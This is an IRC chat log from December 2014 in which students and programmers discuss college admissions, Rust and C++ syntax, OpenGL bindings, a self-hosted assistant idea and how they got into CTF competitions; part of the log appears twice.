[2014-12-11T22:15:38-0500] <alokpathy> The CMU math competiton.
[2014-12-11T22:15:47-0500] <Hyper> awe: when you do that trait stuff can you make the trait work for functions that already exist?
[2014-12-11T22:15:58-0500] <@awe> What do you mean?
[2014-12-11T22:16:06-0500] <Hyper> or is it like "I define a function map inside the trait"
[2014-12-11T22:16:28-0500] <+Tamini> oh LOL
[2014-12-11T22:16:29-0500] <+Tamini> right that
[2014-12-11T22:16:47-0500] <+Tamini> alokpathy: so, coming to see me at cmmc is more important, right? <3
[2014-12-11T22:17:14-0500] <alokpathy> Tamini: Yeah, I'll probably go to CMMC
[2014-12-11T22:17:20-0500] <+Tamini> :D
[2014-12-11T22:17:24-0500] <alokpathy> A math competition with algos is pretty rare.
[2014-12-11T22:17:26-0500] <+Tamini> i told my teammates that you were basically
[2014-12-11T22:17:27-0500] <@awe> trait Foo { fn lol(&self) } impl Foo for Vec<String> { fn lol (&self) { println!("Why?") } }
[2014-12-11T22:17:28-0500] <@awe> Hyper: ^
[2014-12-11T22:17:30-0500] <+Tamini> the reason i went to pclassic
[2014-12-11T22:17:36-0500] <+Tamini> so I'm glad you're coming <3
[2014-12-11T22:17:39-0500] <alokpathy> o tq
[2014-12-11T22:17:54-0500] <alokpathy> Wait I think CMMC is like
[2014-12-11T22:17:58-0500] <alokpathy> the day after CMU decisions come out
[2014-12-11T22:18:01-0500] <alokpathy> which is pretty bad
[2014-12-11T22:18:06-0500] <@awe> alokpathy: lol or great.
[2014-12-11T22:18:08-0500] <Hyper> awe: so you can't say "The existing function foo works on this type"
[2014-12-11T22:18:15-0500] <Hyper> hrm
[2014-12-11T22:18:15-0500] <Hyper> well
[2014-12-11T22:18:18-0500] <Hyper> hrm
[2014-12-11T22:18:21-0500] <alokpathy> awe: Depends on whether or not I get in xD
[2014-12-11T22:18:22-0500] <+Tamini> lolol
[2014-12-11T22:18:26-0500] <+Tamini> alokpathy: you'll get in man
[2014-12-11T22:18:28-0500] <+Tamini> you better.
[2014-12-11T22:18:31-0500] <@awe> Hyper: instead, you're saying that this type has a method foo.
[2014-12-11T22:18:34-0500] <+Tamini> yo saturday do you need me to like
[2014-12-11T22:18:36-0500] <+Tamini> sit by the computer
[2014-12-11T22:18:40-0500] <+Tamini> and provide moral support at like 3
[2014-12-11T22:18:41-0500] <alokpathy> It also means I'd have to check my decision without my parents around, which could be lame
[2014-12-11T22:18:48-0500] <alokpathy> or I could wait
[2014-12-11T22:18:54-0500] <@awe> alokpathy: you check decisions with your parents?
[2014-12-11T22:19:06-0500] <alokpathy> awe: I haven't had any decisions yet
[2014-12-11T22:19:11-0500] <alokpathy> aside from Rutgers
[2014-12-11T22:19:14-0500] <alokpathy> but I thought that was a thing?
[2014-12-11T22:19:24-0500] <alokpathy> I'm not sure.
[2014-12-11T22:19:29-0500] <Hyper> awe: I'm not sure I can make a sound argument other than "You're doing this transform one way, you should be uniform" with a feature like Traits doing effectively the same thing
[2014-12-11T22:19:53-0500] <@awe> The argument in response to that one is "It will complicate the implementation."
[2014-12-11T22:19:58-0500] <Hyper> or at least, I'm not sure how I'd articulate it
[2014-12-11T22:20:09-0500] <@awe> And that said complication is unnecessary because Traits.
[2014-12-11T22:20:21-0500] <Hyper> yeah idk
[2014-12-11T22:20:39-0500] <alokpathy> Tamini: Oh, decisions come out by April 15th
[2014-12-11T22:20:46-0500] <alokpathy> so I think it'd be unlikely that they come out before CMMC
[2014-12-11T22:20:54-0500] <+Tamini> aw
[2014-12-11T22:20:57-0500] <+Tamini> wait
[2014-12-11T22:21:01-0500] <+Tamini> doesnt all your early
[2014-12-11T22:21:04-0500] <+Tamini> come out saturday
[2014-12-11T22:21:08-0500] <@awe> Hyper: I said that it might actually simplify the implementation, and I'm not sure.
[2014-12-11T22:21:08-0500] <+Tamini> or am i high
[2014-12-11T22:21:19-0500] <alokpathy> Tamini: None of my earlies come out Saturday
[2014-12-11T22:21:21-0500] <nezorg> I wonder if I'll actually get into any good colleges... pretty much all I have is my good grades, hacking competitions, and a few math competitions
[2014-12-11T22:21:25-0500] <alokpathy> my first early comes out on Christmas Eve
[2014-12-11T22:21:28-0500] <alokpathy> and that's UMich
[2014-12-11T22:21:32-0500] <+Tamini> alokpathy:...you didnt mit
[2014-12-11T22:21:33-0500] <+Tamini> ?
[2014-12-11T22:21:38-0500] <+Tamini> nezorg: uh 
[2014-12-11T22:21:43-0500] <+Tamini> i think that's the definition of getting into a good college
[2014-12-11T22:21:51-0500] <alokpathy> Tamini: Won't get in, don't think I would have lived if I had gone .-.
[2014-12-11T22:21:54-0500] <+Tamini> good grades, awards, work experience
[2014-12-11T22:22:04-0500] <+Tamini> alokpathy: that's so freaking depressing, what are you calling ernest :P
[2014-12-11T22:22:11-0500] <nezorg> but hacking competitions probably won't be looked very highly upon
[2014-12-11T22:22:15-0500] <+Tamini> where are your earlies?
[2014-12-11T22:22:16-0500] <nezorg> except maybe by cmu
[2014-12-11T22:22:24-0500] <alokpathy> Tamini: Ernest would have lived. I probably would not have.
[2014-12-11T22:22:26-0500] <+Tamini> and nezorg: well tech based schools, yo
[2014-12-11T22:22:32-0500] <alokpathy> Tamini: All my unrestricted EA's
[2014-12-11T22:22:36-0500] <+Tamini> also you could probably do other cs things and like do everything
[2014-12-11T22:22:44-0500] <+Tamini> alokpathy: ernest seems very happy and alive, yes :P
[2014-12-11T22:22:57-0500] <alokpathy> nezorg: CMU SCS actually pays more attention to math than cs on your application, or so they said.
[2014-12-11T22:22:59-0500] <@awe> [22:21:21]  <nezorg>	I wonder if I'll actually get into any good colleges... pretty much all I have is my good grades, hacking competitions, and a few math competitions
[2014-12-11T22:23:24-0500] <+Tamini> awe: now that you quote that I want to smack him
[2014-12-11T22:23:27-0500] <nezorg> alokpathy: huh... but I bet brumley would get me in somehow
[2014-12-11T22:23:28-0500] <+Tamini> my lack of good grades >.>
[2014-12-11T22:23:58-0500] <@awe> nezorg: Well, all I had was piss poor grades, a year of hacking competitions, and three years of robotics and I got into the #1 school in Canada (which is the #10 school in the world in our field).
[2014-12-11T22:23:59-0500] <alokpathy> nezorg: Possibly, yeah
[2014-12-11T22:24:20-0500] <nezorg> awe: you're Canadian?
[2014-12-11T22:24:22-0500] <@awe> No.
[2014-12-11T22:24:26-0500] <@awe> I'm American.
[2014-12-11T22:24:32-0500] <nezorg> ... ah
[2014-12-11T22:24:33-0500] <@awe> I went to the same school as alokpathy and JacobEdelman do.
[2014-12-11T22:24:34-0500] <alokpathy> 'murrica
[2014-12-11T22:24:41-0500] <@awe> But U
[2014-12-11T22:24:46-0500] <@awe> University of Toronto was my dream school.
[2014-12-11T22:24:50-0500] <nezorg> huh
[2014-12-11T22:24:51-0500] <alokpathy> Tamini: My grades are definitely not CMU SCS level
[2014-12-11T22:24:51-0500] <@awe> Well, not really.
[2014-12-11T22:24:57-0500] <@awe> It was my first choice though.
[2014-12-11T22:24:59-0500] <@awe> It and Princeton.
[2014-12-11T22:25:05-0500] <nezorg> why Princeton?
[2014-12-11T22:25:07-0500] <@awe> I got into U of T. I didn't get into Princeton.
[2014-12-11T22:25:09-0500] <@awe> The atmosphere.
[2014-12-11T22:25:17-0500] <@awe> Plus, theoretical CS.
[2014-12-11T22:25:22-0500] <nezorg> fair enough
[2014-12-11T22:25:28-0500] <alokpathy> woo theory
[2014-12-11T22:25:36-0500] <@awe> But yeah, the only reason I didn't go to U of T is because I couldn't afford it.
[2014-12-11T22:26:24-0500] <@awe> I wonder where I'll want to go to get my PhD.
[2014-12-11T22:26:27-0500] <+LittleBobbyTables> ur a theoretical CS
[2014-12-11T22:26:34-0500] <@awe> LittleBobbyTables: thanks, babe.
[2014-12-11T22:26:50-0500] <+LittleBobbyTables> <3
[2014-12-11T22:27:30-0500] <alokpathy> awe: I vaguely remember you saying you want to go to Glasgow because Haskell
[2014-12-11T22:27:35-0500] <alokpathy> for PhD
[2014-12-11T22:27:36-0500] <nezorg> lol
[2014-12-11T22:27:38-0500] <+Tamini> lol haskell
[2014-12-11T22:27:45-0500] <+Tamini> also alokpathy: my grads are also like
[2014-12-11T22:27:45-0500] <+Tamini> bad
[2014-12-11T22:27:48-0500] <@awe> Glasgow would be cool.
[2014-12-11T22:27:52-0500] <nezorg> Tamini: haskell is awesome :C
[2014-12-11T22:27:52-0500] <+Tamini> let's not talk about how i won't get into colleges k
[2014-12-11T22:27:53-0500] <@awe> Tamini: Mine are worse.
[2014-12-11T22:27:57-0500] <@awe> Tamini: Guaranteed.
[2014-12-11T22:28:00-0500] <@awe> Well, were.
[2014-12-11T22:28:01-0500] <+Tamini> nezorg: yes, yes, I understand
[2014-12-11T22:28:01-0500] <@awe> In high school.
[2014-12-11T22:28:06-0500] <nezorg> mine are... good but probably inflated
[2014-12-11T22:28:09-0500] <+Tamini> also did you get my snapchat of the default on my computer
[2014-12-11T22:28:13-0500] <@awe> nezorg: All grades are inflated.
[2014-12-11T22:28:20-0500] <+Tamini> s/my computer/syslab computers
[2014-12-11T22:28:25-0500] <@awe> Tamini: why are we not snapchat buddies?
[2014-12-11T22:28:28-0500] <nezorg> Tamini: damn 3s timeout
[2014-12-11T22:28:30-0500] <+Tamini> awe: good question.
[2014-12-11T22:28:45-0500] <+Tamini> nezorg: basically i was coding in vim, opened my input file
[2014-12-11T22:28:49-0500] <+Tamini> by default it opened in emacs
[2014-12-11T22:28:54-0500] <+Tamini> i was sufficiently amused.
[2014-12-11T22:28:59-0500] <nezorg> nice
[2014-12-11T22:29:20-0500] <+Tamini> hey, at least i was using emacs for something
[2014-12-11T22:29:29-0500] <+Tamini> and nezorg: inb4 you have like a 4.7 gpa tho
[2014-12-11T22:29:45-0500] <nezorg> ...as I said, inflation
[2014-12-11T22:29:51-0500] <@awe> nezorg: all grades are inflated.
[2014-12-11T22:30:02-0500] <+Tamini> oh my god
[2014-12-11T22:30:05-0500] <+Tamini> you do have like a 4.7 gpa
[2014-12-11T22:30:07-0500] <+Tamini> >.>
[2014-12-11T22:30:13-0500] <alokpathy> This kid
[2014-12-11T22:30:15-0500] <nezorg> well yes but I go to an easy school so mine are more inflated than yours
[2014-12-11T22:30:22-0500] <nezorg> Tamini: ...maybe
[2014-12-11T22:30:24-0500] <+Tamini> yeah but i took 40 billion aps
[2014-12-11T22:30:25-0500] <+Tamini> >.<
[2014-12-11T22:30:38-0500] <alokpathy> Tamini: Colleges would factor in the fact that you took APs
[2014-12-11T22:30:40-0500] <+Tamini> i have to work so hard for my 4.5 what ru doin :(
[2014-12-11T22:30:57-0500] <@awe> Tamini: LOL
[2014-12-11T22:31:00-0500] <@awe> Tamini: you said you have bad grades.
[2014-12-11T22:31:02-0500] <@awe> Tamini: 4.5
[2014-12-11T22:31:08-0500] <+Tamini> awe: considering the fact
[2014-12-11T22:31:11-0500] <@awe> Tamini: I graduated with a 3.2 weighted, fool.
[2014-12-11T22:31:12-0500] <+Tamini> almost all my classes have 5.0 weighting
[2014-12-11T22:31:14-0500] <@awe> or 3.1.
[2014-12-11T22:31:16-0500] <+Tamini> my unweighted gpa is like
[2014-12-11T22:31:20-0500] <@awe> And all of my classes were weighted to 5.0.
[2014-12-11T22:31:22-0500] <+Tamini> *jumps out window*
[2014-12-11T22:31:24-0500] <@awe> And my unweighted gpa was 2.79.
[2014-12-11T22:31:31-0500] <+Tamini> but awe you like didnt even try for half your classes 
[2014-12-11T22:31:33-0500] <@awe> Correct.
[2014-12-11T22:31:43-0500] <@awe> I didn't try at all for any of them except Calc AB because the teacher was awesome.
[2014-12-11T22:31:52-0500] <bob_twinkles> damnit C++ that is a function header not a variable declaration -_-
[2014-12-11T22:32:04-0500] <@awe> My grades in every other class were dependent entirely on how forgiving the teacher was willing to be with me.
[2014-12-11T22:32:25-0500] <nezorg> bob_twinkles: I am convinced the devil designed the syntax for function declarations in C/C++
[2014-12-11T22:33:00-0500] <+Tamini> awe: but I kinda like
[2014-12-11T22:33:04-0500] <+Tamini> tryhard to death
[2014-12-11T22:33:53-0500] <@awe> That doesn't somehow make a 4.5 a bad grade.
[2014-12-11T22:34:07-0500] <@awe> You're more than a full grade point above where I was.
[2014-12-11T22:34:21-0500] <bob_twinkles> nezorg: no he did template specializations personally, function headers were the Underdemon of Technology
[2014-12-11T22:34:33-0500] <@awe> bob_twinkles: lol
[2014-12-11T22:34:57-0500] <+Tamini> awe: well, okay, fair enough
[2014-12-11T22:35:20-0500] <@awe> Tamini: Also, I was admitted into a good deal of colleges with my terrible GPA.
[2014-12-11T22:35:23-0500] <@awe> Tamini: So, you'll be fine.
[2014-12-11T22:35:23-0500] <nezorg> bob_twinkles: there's a reason I don't use c++ unless I really have to...
[2014-12-11T22:35:24-0500] <+Tamini> but it doesnt mean I'm not good at school
[2014-12-11T22:35:29-0500] <+Tamini> heh, but you're very ept.
[2014-12-11T22:35:52-0500] <bob_twinkles> nezorg: gotta go fast
[2014-12-11T22:36:08-0500] <nezorg> ?
[2014-12-11T22:36:16-0500] <bob_twinkles> also I hate myself
[2014-12-11T22:36:17-0500] <@awe> SANICCC
[2014-12-11T22:36:26-0500] <@awe> GATTA GO FAST
[2014-12-11T22:36:53-0500] <@awe> bob_twinkles: said every C++ programmer in their right mind.
[2014-12-11T22:37:09-0500] <bob_twinkles> I'm using OpenGL which doesn't really have good binding to any other languages
[2014-12-11T22:37:15-0500] <@awe> Uhh...
[2014-12-11T22:37:18-0500] <@awe> Define good?
[2014-12-11T22:37:26-0500] <+ubuntor> broadcom y u do dis
[2014-12-11T22:37:37-0500] <bob_twinkles> makes me think less than if I was using C
[2014-12-11T22:37:56-0500] <bob_twinkles> i.e. Java bindings that manage buffer objects properly with finalize() and stuff
[2014-12-11T22:38:32-0500] <bob_twinkles> everybody just does 1:1 mappings to the C api and exposes the language's FFI interop types directly and it sucks
[2014-12-11T22:38:45-0500] <@awe> bob_twinkles: do the C++ bindings not do that?
[2014-12-11T22:38:55-0500] <bob_twinkles> no I'm using the C api
[2014-12-11T22:38:58-0500] <@awe> Right.
[2014-12-11T22:39:00-0500] <@awe> So, it's no different.
[2014-12-11T22:39:10-0500] <@awe> Using it in another language just means less pain.
[2014-12-11T22:39:16-0500] <@awe> LWJGL works with Java's Buffers, IIRc.
[2014-12-11T22:39:17-0500] <bob_twinkles> I don't have to do the extra thinking of converting to/from FFI types
[2014-12-11T22:39:18-0500] <@awe> IIRC*
[2014-12-11T22:39:27-0500] <bob_twinkles> yes, which are Java's FFI types
[2014-12-11T22:40:10-0500] <+LittleBobbyTables> I need a new external harddrive
[2014-12-11T22:40:21-0500] <@awe> bob_twinkles: https://github.com/bjz/gl-rs
[2014-12-11T22:40:23-0500] <@awe> bob_twinkles: you're welcome.
[2014-12-11T22:40:24-0500] <+LittleBobbyTables> 12 TB of storage isn't enough, apparently.
[2014-12-11T22:40:33-0500] <alokpathy> LittleBobbyTables: Rip your current HD out
[2014-12-11T22:40:34-0500] <alokpathy> boom
[2014-12-11T22:40:37-0500] <alokpathy> external HD
[2014-12-11T22:40:48-0500] <bob_twinkles> awe: but then I have to deal with rust syntax which I contend is basically just C++ but worse
[2014-12-11T22:40:48-0500] <+LittleBobbyTables> holy shit
[2014-12-11T22:40:50-0500] <+LittleBobbyTables> apothy you're a genius
[2014-12-11T22:40:51-0500] <bob_twinkles> and I already know C++
[2014-12-11T22:41:10-0500] <+LittleBobbyTables> I'm going to learn C# by christmas
[2014-12-11T22:41:14-0500] <@awe> Rust syntax is not C++ syntax.
[2014-12-11T22:41:14-0500] <alokpathy> LittleBobbyTables: Anytime, just ask.
[2014-12-11T22:41:22-0500] <@awe> It's designed to feel familiar, but it's by no means the same.
[2014-12-11T22:41:24-0500] <bob_twinkles> awe: <<<<<>>>>>
[2014-12-11T22:41:30-0500] <+LittleBobbyTables> apothy, o wise wizard, what do with life?
[2014-12-11T22:41:38-0500] <bob_twinkles> I can't hear you over the angle brackets and random character prefixes
[2014-12-11T22:41:47-0500] <@awe> random character prefixes?
[2014-12-11T22:41:51-0500] <@awe> There's literally one.
[2014-12-11T22:41:51-0500] <alokpathy> LittleBobbyTables: Sleep all day, party all night.
[2014-12-11T22:41:54-0500] <@awe> &.
[2014-12-11T22:41:58-0500] <@awe> * is an operator.
[2014-12-11T22:41:58-0500] <bob_twinkles> and '
[2014-12-11T22:42:04-0500] <+LittleBobbyTables> I work, apothy:(
[2014-12-11T22:42:09-0500] <bob_twinkles> * is an operator in C++ too
[2014-12-11T22:42:12-0500] <bob_twinkles> that doesn't make it better
[2014-12-11T22:42:13-0500] <@awe> ' wouldn't make sense.
[2014-12-11T22:42:13-0500] <alokpathy> LittleBobbyTables: Irrelevant.
[2014-12-11T22:42:16-0500] <@awe> you can't not have it.
[2014-12-11T22:42:24-0500] <@awe> Because then you can't differentiate between types and lifetimes.
[2014-12-11T22:42:26-0500] <+LittleBobbyTables> apothy, but like
[2014-12-11T22:42:33-0500] <+LittleBobbyTables> Work during the day and party all night doesn't work?
[2014-12-11T22:42:41-0500] <alokpathy> It still works.
[2014-12-11T22:42:43-0500] <+LittleBobbyTables> When do I sleep? I can't at work, I actually have things to do
[2014-12-11T22:42:48-0500] <@awe> bob_twinkles: also Java has angle brackets too.
[2014-12-11T22:42:49-0500] <alokpathy> Just sleep during your job.
[2014-12-11T22:42:52-0500] <alokpathy> And do the things
[2014-12-11T22:42:54-0500] <alokpathy> simultaneously.
[2014-12-11T22:42:56-0500] <bob_twinkles> awe: they don't mean anything though =P
[2014-12-11T22:43:03-0500] <@awe> bob_twinkles: they mean the same thing as in Rust.
[2014-12-11T22:43:03-0500] <+LittleBobbyTables> So guys
[2014-12-11T22:43:17-0500] <@awe> bob_twinkles: Rust uses angle brackets for type parameters and lifetime parameters.
[2014-12-11T22:43:23-0500] <@awe> bob_twinkles: in Java, they're used for type parameters.
[2014-12-11T22:43:24-0500] <+LittleBobbyTables> Some dumbdumb broke our internet today.
[2014-12-11T22:43:24-0500] <+LittleBobbyTables> Literally all of it. We couldn't talk internally or externally.
[2014-12-11T22:43:34-0500] <@awe> LittleBobbyTables: topkek
[2014-12-11T22:43:39-0500] <+LittleBobbyTables> Guess how
[2014-12-11T22:43:42-0500] <@awe> porn?
[2014-12-11T22:43:44-0500] <@awe> gambling?
[2014-12-11T22:43:44-0500] <@awe> both?
[2014-12-11T22:43:46-0500] <bob_twinkles> BGP?
[2014-12-11T22:43:48-0500] <+LittleBobbyTables> Neither
[2014-12-11T22:44:51-0500] <+LittleBobbyTables> He was adding a new IP range to the VLan, and forgot to put "add" in the command.
[2014-12-11T22:44:51-0500] <+LittleBobbyTables> Overwrote everything.
[2014-12-11T22:44:51-0500] <+LittleBobbyTables> Didn't append.
[2014-12-11T22:45:01-0500] <@awe> bob_twinkles: why won't you play with me? D:
[2014-12-11T22:45:02-0500] <bob_twinkles> I was close
[2014-12-11T22:45:07-0500] <@awe> bob_twinkles: l2rust and be my rust friend like nezorg
[2014-12-11T22:45:21-0500] <@awe> I promise it's much less painful than C++.
[2014-12-11T22:45:35-0500] <nezorg> can confirm
[2014-12-11T22:46:18-0500] <bob_twinkles> I've already got ~3000 lines of C++ code though =P
[2014-12-11T22:46:47-0500] <@awe> That's okay. It'll only be like ~1000 lines of Rust.
[2014-12-11T22:47:53-0500] <bob_twinkles> assuming I already knew how to write idiomatic rust =P
[2014-12-11T22:48:22-0500] <bob_twinkles> and a lot of it is logic I'd have to duplicate more or less exactly in rust
[2014-12-11T22:49:38-0500] <bob_twinkles> those gl-rs bindings are exactly the type of 1:1 mappings that don't help me at all
[2014-12-11T22:49:53-0500] <bob_twinkles> (other than preventing me from having to learn rust FFI)
[2014-12-11T22:50:29-0500] <bob_twinkles> also "// functions that take pointers are unsafe"
[2014-12-11T22:51:10-0500] <bob_twinkles> the way the modern opengl API works a lot of the boilerplate I'd need to port from C++ would be wrapped in unsafe {}
[2014-12-11T22:56:05-0500] <@awe> This is true.
[2014-12-11T23:12:35-0500] <+LittleBobbyTables> Guys I got a response from Github.
[2014-12-11T23:12:50-0500] <+LittleBobbyTables> They said "sorry, we're busy and backed up". It's been almost two months.
[2014-12-11T23:13:27-0500] <+LittleBobbyTables> It took about 2 weeks for them to say that.
[2014-12-11T23:16:20-0500] <@awe> Wow.
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[2014-12-12T00:24:26-0500] <nezorg> hey guys
[2014-12-12T00:24:30-0500] <nezorg> I had a cool idea
[2014-12-12T00:24:46-0500] <nezorg> what if we made an open-source google now-esque app/server
[2014-12-12T00:25:03-0500] <nezorg> where all the data is stored on your own server/devices rather than google's
[2014-12-12T00:25:04-0500] <+Tamini> explain more
[2014-12-12T00:25:06-0500] <+Tamini> :O
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[2014-12-12T00:25:39-0500] <nezorg> Google now is probably the only service of google's that doesn't have a foss alternative
[2014-12-12T00:25:48-0500] <nezorg> uh, that I use, anyway
[2014-12-12T00:25:58-0500] <+Tamini> yes
[2014-12-12T00:26:03-0500] <+Tamini> since that's obviousl the important part :P
[2014-12-12T00:26:16-0500] <nezorg> it's really useful
[2014-12-12T00:26:23-0500] <+Tamini> hmm
[2014-12-12T00:26:28-0500] <+Tamini> <- iphone
[2014-12-12T00:26:28-0500] <nezorg> but at the same time I'd rather not share all that data with google
[2014-12-12T00:26:35-0500] <+Tamini> pls explain to me the wonders of this
[2014-12-12T00:26:38-0500] <+Tamini> and lol, okay yeah.
[2014-12-12T00:26:39-0500] <+Tamini> I see that
[2014-12-12T00:26:42-0500] <nezorg> well there's a google now client for ios too
[2014-12-12T00:26:47-0500] <nezorg> just not very popular
[2014-12-12T00:26:48-0500] <+Tamini> oh, huh
[2014-12-12T00:26:53-0500] <+Tamini> yeah, it probably doesnt
[2014-12-12T00:26:56-0500] <nezorg> since it's not integrated
[2014-12-12T00:26:58-0500] <+Tamini> integrate too naturally, I would think
[2014-12-12T00:26:59-0500] <+Tamini> ^
[2014-12-12T00:29:46-0500] <nezorg> I got this idea while listening to big data :P
[2014-12-12T00:30:20-0500] <+Tamini> lolol
[2014-12-12T00:30:26-0500] <+Tamini> you get inspired by such strange things
[2014-12-12T00:55:33-0500] <+LittleBobbyTables> nn
[2014-12-12T01:02:31-0500] <nezorg> ...?
[2014-12-12T01:05:03-0500] <Tamini_> fuu
[2014-12-12T01:05:07-0500] <Tamini_> i dont like orgo anymore :(
[2014-12-12T01:05:17-0500] <Tamini_> i already took the final and we still have homework what is this
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[2014-12-12T08:19:44-0500] <JacobEdelman> hmmm.... my goal of increasing my karma is hn is probably not a good life goal...
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[2014-12-12T09:04:08-0500] <alokpathy> Meow
[2014-12-12T09:04:10-0500] <alokpathy> I'm a kitty
[2014-12-12T09:04:12-0500] <alokpathy> Meow
[2014-12-12T09:04:18-0500] <alokpathy> Kitty kitty kitty
[2014-12-12T09:04:43-0500] <alokpathy> http://i.imgur.com/nto29ko.jpg
[2014-12-12T09:04:45-0500] <alokpathy> Kitty :3
[2014-12-12T09:04:51-0500] <alokpathy> That was not me :|
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[2014-12-11T23:16:20-0500] <@awe> Wow.
[2014-12-12T00:24:26-0500] <nezorg> hey guys
[2014-12-12T00:24:30-0500] <nezorg> I had a cool idea
[2014-12-12T00:24:46-0500] <nezorg> what if we made an open-source google now-esque app/server
[2014-12-12T00:25:03-0500] <nezorg> where all the data is stored on your own server/devices rather than google's
[2014-12-12T00:25:04-0500] <+Tamini> explain more
[2014-12-12T00:25:06-0500] <+Tamini> :O
[2014-12-12T00:25:39-0500] <nezorg> Google now is probably the only service of google's that doesn't have a foss alternative
[2014-12-12T00:25:48-0500] <nezorg> uh, that I use, anyway
[2014-12-12T00:25:58-0500] <+Tamini> yes
[2014-12-12T00:26:03-0500] <+Tamini> since that's obviousl the important part :P
[2014-12-12T00:26:16-0500] <nezorg> it's really useful
[2014-12-12T00:26:23-0500] <+Tamini> hmm
[2014-12-12T00:26:28-0500] <+Tamini> <- iphone
[2014-12-12T00:26:28-0500] <nezorg> but at the same time I'd rather not share all that data with google
[2014-12-12T00:26:35-0500] <+Tamini> pls explain to me the wonders of this
[2014-12-12T00:26:38-0500] <+Tamini> and lol, okay yeah.
[2014-12-12T00:26:39-0500] <+Tamini> I see that
[2014-12-12T00:26:42-0500] <nezorg> well there's a google now client for ios too
[2014-12-12T00:26:47-0500] <nezorg> just not very popular
[2014-12-12T00:26:48-0500] <+Tamini> oh, huh
[2014-12-12T00:26:53-0500] <+Tamini> yeah, it probably doesnt
[2014-12-12T00:26:56-0500] <nezorg> since it's not integrated
[2014-12-12T00:26:58-0500] <+Tamini> integrate too naturally, I would think
[2014-12-12T00:26:59-0500] <+Tamini> ^
[2014-12-12T00:29:46-0500] <nezorg> I got this idea while listening to big data :P
[2014-12-12T00:30:20-0500] <+Tamini> lolol
[2014-12-12T00:30:26-0500] <+Tamini> you get inspired by such strange things
[2014-12-12T00:55:33-0500] <+LittleBobbyTables> nn
[2014-12-12T01:02:31-0500] <nezorg> ...?
[2014-12-12T01:05:03-0500] <Tamini_> fuu
[2014-12-12T01:05:07-0500] <Tamini_> i dont like orgo anymore :(
[2014-12-12T01:05:17-0500] <Tamini_> i already took the final and we still have homework what is this
[2014-12-12T08:19:44-0500] <JacobEdelman> hmmm.... my goal of increasing my karma is hn is probably not a good life goal...
[2014-12-12T09:03:58-0500] <alokpathy> 6666666666666666666666666666666
[2014-12-12T09:04:08-0500] <alokpathy> Meow
[2014-12-12T09:04:10-0500] <alokpathy> I'm a kitty
[2014-12-12T09:04:11-0500] <alokpathy> Meow
[2014-12-12T09:04:18-0500] <alokpathy> Kitty kitty kitty
[2014-12-12T09:04:43-0500] <alokpathy> http://i.imgur.com/nto29ko.jpg
[2014-12-12T09:04:45-0500] <alokpathy> Kitty :3
[2014-12-12T09:04:51-0500] <alokpathy> That was not me :|
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[2014-12-13T03:09:21-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
[2014-12-12T20:02:37-0500] <nezorg> so
[2014-12-12T20:02:59-0500] <nezorg> looks like I'm going to be writing essentially a tiling wm in javascript
[2014-12-12T20:15:41-0500] <+ubuntor> browser de?
[2014-12-12T20:15:55-0500] <+ubuntor> ...which is basically chromeos, now that i think about it
[2014-12-12T20:16:54-0500] <nezorg> ubuntor: essentially, but it's all for a single app
[2014-12-12T20:17:10-0500] <+ubuntor> ok
[2014-12-12T21:24:18-0500] <JacobEdelman> wait, nezorg, should I use your tiling wm for my site?
[2014-12-12T21:24:29-0500] <JacobEdelman> since everybody is complaining about the one I am using
[2014-12-12T21:25:27-0500] <+hardmath123> JacobEdelman: you shouldn't use a tiling wm for your site.
[2014-12-12T21:25:50-0500] <nezorg> JacobEdelman: if you want to use angular, sure :P
[2014-12-12T21:26:00-0500] <+hardmath123> the JavaScript : content ratio is too high.
[2014-12-12T21:26:00-0500] <+hardmath123> :P
[2014-12-12T21:30:56-0500] <benwaffle> hi
[2014-12-12T21:35:47-0500] <JacobEdelman> mine is already gigantic
[2014-12-12T21:35:48-0500] <JacobEdelman> also
[2014-12-12T21:35:52-0500] <JacobEdelman> my brother is back at home
[2014-12-12T21:36:00-0500] <JacobEdelman> gtg
[2014-12-12T21:40:11-0500] <alokpathy> Hi guys
[2014-12-12T21:42:55-0500] <+hardmath123> hi alokpathy 
[2014-12-12T21:43:11-0500] <+ubuntor> JacobEdelman: http://tilde.club/~arch/frames.html
[2014-12-12T21:44:59-0500] <+hardmath123> i had a cool idea for a CTF problem
[2014-12-12T21:45:23-0500] <+hardmath123> you have a server that verifies a file based on a rolling checksum
[2014-12-12T21:46:59-0500] <+hardmath123> and the objective is to fuzz a given file so that it contains some particular substring and is accepted by the server
[2014-12-12T23:23:00-0500] <benwaffle> uuh
[2014-12-12T23:23:02-0500] <benwaffle> rolling checksum?
[2014-12-12T23:29:16-0500] <+Tamini> hey hey guys open question :O
[2014-12-12T23:29:24-0500] <+Tamini> how did you guys first start doing ctfs? o-o
[2014-12-12T23:38:00-0500] <alokpathy> Pico
[2014-12-12T23:38:02-0500] <alokpathy> Pico 2013
[2014-12-12T23:47:33-0500] <+hardmath123> Pico 2014
[2014-12-12T23:47:38-0500] <+hardmath123> i'm a year behind y'all
[2014-12-12T23:48:25-0500] <+Tamini> :P
[2014-12-12T23:48:29-0500] <+Tamini> nah
[2014-12-12T23:48:32-0500] <+Tamini> i was hsctf 
[2014-12-12T23:48:36-0500] <+Tamini> im right in the middle
[2014-12-13T00:24:54-0500] <Pharyngeal> awe: I saw that you're interested in distributed things. You should connect this IRCd (and your site) to Hyperboria using cjdns
[2014-12-13T01:16:00-0500] <Hyper> Pharyngeal: lol cjdns
[2014-12-13T01:18:21-0500] <Hyper> I could never get it running, but that was like 2 years ago
[2014-12-13T01:26:49-0500] <Pharyngeal> Hyper: It works well at the moment
[2014-12-13T01:26:57-0500] <Pharyngeal> Hyper: I use it on almost all of my machines
[2014-12-13T01:27:02-0500] <Pharyngeal> Makes a mighty fine VPN, too.
[2014-12-13T01:27:32-0500] <Hyper> does it build on osx yet?
[2014-12-13T01:30:38-0500] <Pharyngeal> Not sure, but I'd think so.
[2014-12-13T01:30:41-0500] <Pharyngeal> Let me check
[2014-12-13T01:30:56-0500] <Pharyngeal> yes
[2014-12-13T01:31:08-0500] <Pharyngeal> Also, Hyper, do you have a VPS?
[2014-12-13T01:31:22-0500] <Pharyngeal> And, Hyper https://wiki.projectmeshnet.org/Install_on_Mac_OS_X
[2014-12-13T01:31:29-0500] <Hyper> no, not ATM
[2014-12-13T01:41:17-0500] <Pharyngeal> Hyper: If you are interested in peering at some point, let me know
[2014-12-13T01:41:29-0500] <Hyper> k
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[2014-12-13T03:09:57-0500] <@awe> Tamini: I'm in the DC area now.
[2014-12-13T03:14:33-0500] <@awe> But I won't be once I wake up again.
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[2014-12-14T17:49:50-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
